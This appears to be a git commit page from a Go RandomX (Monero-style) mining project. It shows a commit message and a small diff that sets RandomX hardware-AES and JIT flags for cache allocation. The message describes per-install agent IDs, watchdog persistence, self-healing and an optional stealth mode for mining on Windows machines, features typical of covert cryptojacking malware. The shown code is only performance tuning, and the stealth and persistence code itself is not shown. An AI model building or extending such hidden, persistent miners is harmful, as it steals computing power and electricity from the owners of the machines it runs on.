Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

View File

@@ -10,6 +10,9 @@ import (
const nonceOffset = 39
const nonceSize = 4
// RandomX JIT + hardware AES for best hashrate on supported CPUs.
const randomxFlags = 10 // RANDOMX_FLAG_HARD_AES (2) | RANDOMX_FLAG_JIT (8)
type Engine struct {
mu sync.RWMutex
cache *randomx.Randomx_Cache
@@ -19,7 +22,7 @@ type Engine struct {
}
func NewEngine() *Engine {
cache := randomx.Randomx_alloc_cache(0)
cache := randomx.Randomx_alloc_cache(randomxFlags)
return &Engine{cache: cache}
}